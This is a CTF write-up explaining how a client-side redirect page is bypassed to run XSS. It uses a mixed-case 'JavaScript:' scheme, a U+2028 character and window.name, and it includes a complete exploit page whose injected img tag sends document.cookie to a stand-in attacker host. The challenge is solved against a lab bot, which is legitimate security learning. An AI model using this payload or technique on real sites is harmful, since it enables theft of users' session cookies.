all notes

TORX CTF 2026: Redirect as a Service?

Turning a redirect service into a client-side primitive to leak cookies!

The challenge

As the title suggests this is a "simple" Redirect as a Service application. The main logic is in a single html page that accepts a next parameter and redirects the browser to that value after applying a set of checks.

The intended use would look like this:

http://localhost:1337/1.html?next=https://example.com/

The challenge also exposes a report endpoint hinting this is gonna be a client-side challenge.

POST /api/report
Content-Type: application/json
{"url":"https://attacker.example/"}

Looking at the bot, the flag is stored into a cookie:

const FLAG = "TORX{TEST}";
const APP_PORT = "1337";
const APP_URL = "http://localhost:" + APP_PORT;
const page = await browser.newPage();

await page.setCookie({
  name: "FLAG",
  value: FLAG,
  url: APP_URL,
  httpOnly: false,
});

The bot then opens our submitted URL in another page, waits five seconds, and closes that visiting page:

const page1 = await browser.newPage();
await page1.goto(url, { waitUntil: "domcontentloaded", timeout: 30_000 });
await sleep(5_000);
await page1.close();

The cookie is also httpOnly: false, so JavaScript running at http://localhost:1337 can read it with document.cookie.

Since there are no HTML Injection sinks, we will most likely have to report an attacker controlled page, meaning that the same-origin policy will prevent us from reading a cookie belonging to localhost:1337 directly.

The goal is therefore to turn the redirect into XSS bypassing all the checks so that code somehow runs in the local application's origin, reads document.cookie there, and exfiltrate the result to our server.

The other routes are useful for orienting ourselves:

GET /app-url -> tells us the local application URL
GET /1.html -> the Redirect as a Service page
POST /api/report -> asks the bot to visit our hosted page

The RaaS page and its controls

The juiciest file is public/1.html that contains the Redirect as a Service page. Its job is to take next and redirect the browser. The redirect is however guarded by many checks:

(() => {
  let t = new URLSearchParams(location.search).get("next");
  if (!t) return;

  try {
    let u = new URL(t);
    <...checks...>

    document.write("good");
    location = t;
  } catch (e) {
    document.write("not good");
  }
})();

Before looking for a bypass we should understand what every control is trying to do.

u.hostname != location.hostname ||
  u.port != location.port

The page is served from localhost:1337, so these comparisons are intended to force the redirect to stay on that host and port. A normal external URL would fail here.

The mistake is that this check does not require an ordinary http: or https: scheme. A JavaScript URL can still contain an authority-looking part, and Chromium parses the host and port from that part.

t.startsWith("j") ||
  t.includes("script")

These are plain, case-sensitive string checks. They reject the usual lowercase javascript: spelling, but they do not reject JavaScript:. Chromium normalizes the scheme while parsing the URL, so the browser still treats JavaScript: as a JavaScript URL even though the literal checks miss it.

u.password ||
  u.username ||
  u.search ||
  u.hash

These checks remove common URL parser tricks involving inputs such as user:password@host, nested query strings, and fragments. Our payload does not need any of these fields: the code will live in the path portion of the JavaScript URL.

let m = t.match(/^[^:]*:\/\/[^/]*(\/.*)?$/s);
if (!m) throw new Error();
let p = m[1] ?? "";

This regular expression expects something that looks like: scheme://authority/optional-path where m[1] is the path, including its first /. If no path exists, p becomes the empty string.

if (!/^[a-zA-Z.+\s]*$/.test(p.slice(1)))
  throw new Error();

The first character of the path is removed, then every remaining character must be a letter, a dot, a plus sign, or JavaScript whitespace. This blocks normal JavaScript punctuation such as parentheses, semicolons, quotes, angle brackets, and equals signs.

There is one useful character class detail: JavaScript's \s includes the Unicode LINE SEPARATOR U+2028. U+2028 is also a JavaScript line terminator. That gives us a character that is accepted by the path filter but changes how the JavaScript URL is parsed when it executes.

document.write("good");
location = t;

This may look like a normal statement as when t is a normal URL, the browser navigates there. However when t is a javascript: url, the browser executes its code in the current document's origin.

The browser primitive: window.name

Every top-level browser page has a window object. It is the global object for that page, which is why properties such as window.document, window.location, and window.name can also be referred to as document, location, and name in top-level JavaScript.

window.name is a string attached to a browsing context, such as a tab or popup. The second argument to window.open() is the name of the browsing context:

window.open(url, browsingContextName);

If no existing context has that name, the browser creates one. The important property for this challenge is that the name remains associated with that context when the context navigates to another origin. A page on our domain can choose the name, then the local page can read the same string after navigation.

Our exploit will use that channel as follows:

// in our page
const name = 'hello_from_torx';
window.open(target, name);
// in the victim page
console.log(name); // will print hello_from_torx

Putting everything togheter

Now that we know why window.name is useful, let's go through our actual exploit and see how all the pieces fit:

<html>
<body>
  <script>
    const target =
      'http://localhost:1337/1.html?next=' +
      'JavaScript%3A%2F%2Flocalhost%3A1337%2F%E2%80%A8name%2Bdocument.cookie%2Bname';

    const name =
      '><img src=https://attacker/leak?x=';

    window.open(target, name);
  </script>
</body>
</html>

The first interesting line is the definition of target:

const target =
  'http://localhost:1337/1.html?next=' +
  'JavaScript%3A%2F%2Flocalhost%3A1337%2F%E2%80%A8name%2Bdocument.cookie%2Bname';
//JavaScript://localhost:1337/<U+2028>name+document.cookie+name

The first string points the new window at the challenge application, specifically its Redirect as a Service page. Remember that this JavaScript is running inside the bot's browser, so localhost:1337 means the challenge app from the bot's point of view.

After ?next=, we append the payload for the redirect page. This is the value we already analyzed, but the important detail here is that it is percent-encoded because it is nested inside the outer URL's query string. For example, %3A represents :, %2F represents /, and %E2%80%A8 represents the three UTF-8 bytes for U+2028. The plus signs in the JavaScript expression are written as %2B; a literal + in a query parameter is normally decoded by URLSearchParams as a space.

Once /1.html reads its own query string, URLSearchParams.get("next") decodes the value. The redirect page then sees:

JavaScript://localhost:1337/name+document.cookie+name

It parses and filters that string as described in the previous chapter. When it reaches location = t, Chrome executes the JavaScript URL in the origin of /1.html, which is http://localhost:1337.

Next we build the string that will become the new window's name:

const name =
  '><img src=https://attcker/leak?x=';

When the payload runs in /1.html, the global name refers to window.name, so the expression

name + document.cookie + name

concatenates our HTML prefix, the cookie string, and the same HTML prefix again. With the cookie, the resulting document text is shaped like this:

><img src=https://attcker/leak?x=FLAG=TORX{TEST}><img src=https://attcker/leak?x=

The leading > is just stray text. The first <img> starts at the next character. The cookie is inserted into its src before the > in the second copy of the name closes that first tag. Chrome therefore requests a URL with FLAG=TORX{TEST} in its query string. The second <img> begins after that closing >; it is not needed for the leak, but it is a consequence of reusing the same prefix and suffix string.

Finally, we get our flag on our attacker webhook:

TORX{6eafa63d96817adb40414b1230f40b52356f2e3f885ef18c70ee2f17a80f41da}